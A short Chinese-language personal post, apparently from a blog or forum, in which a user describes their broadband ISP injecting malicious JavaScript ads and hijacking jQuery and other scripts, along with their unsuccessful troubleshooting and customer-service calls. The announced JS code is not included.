自安装广电宽带后，麻烦不断，几次发现在浏览网站时被加载恶意JS广告代码，第一次是网吧导航，换了路由器固件，找售后换路由器，网站过滤等操作后，网吧导航终被干掉，事情到此结束。
然而前天在修改网站时，又发现网址被加载其它代码，#_cofs_

浏览器查看页面加载的js，先是劫持了jquery库，把jquery删除后又发现，会被随机劫持所有JS，NND用得真不操心，打电话广电客服，交涉了几个人都是叫我换路由器，没办法，把路由器固件再次还原出厂，对电脑进行全面杀毒，路由器连接其它网络，发现只要连广电的宽带就会出现这个问题，连接其它网络全正常，再次致电客服技术部，得到的结果还是换路由器。

附JS代码：
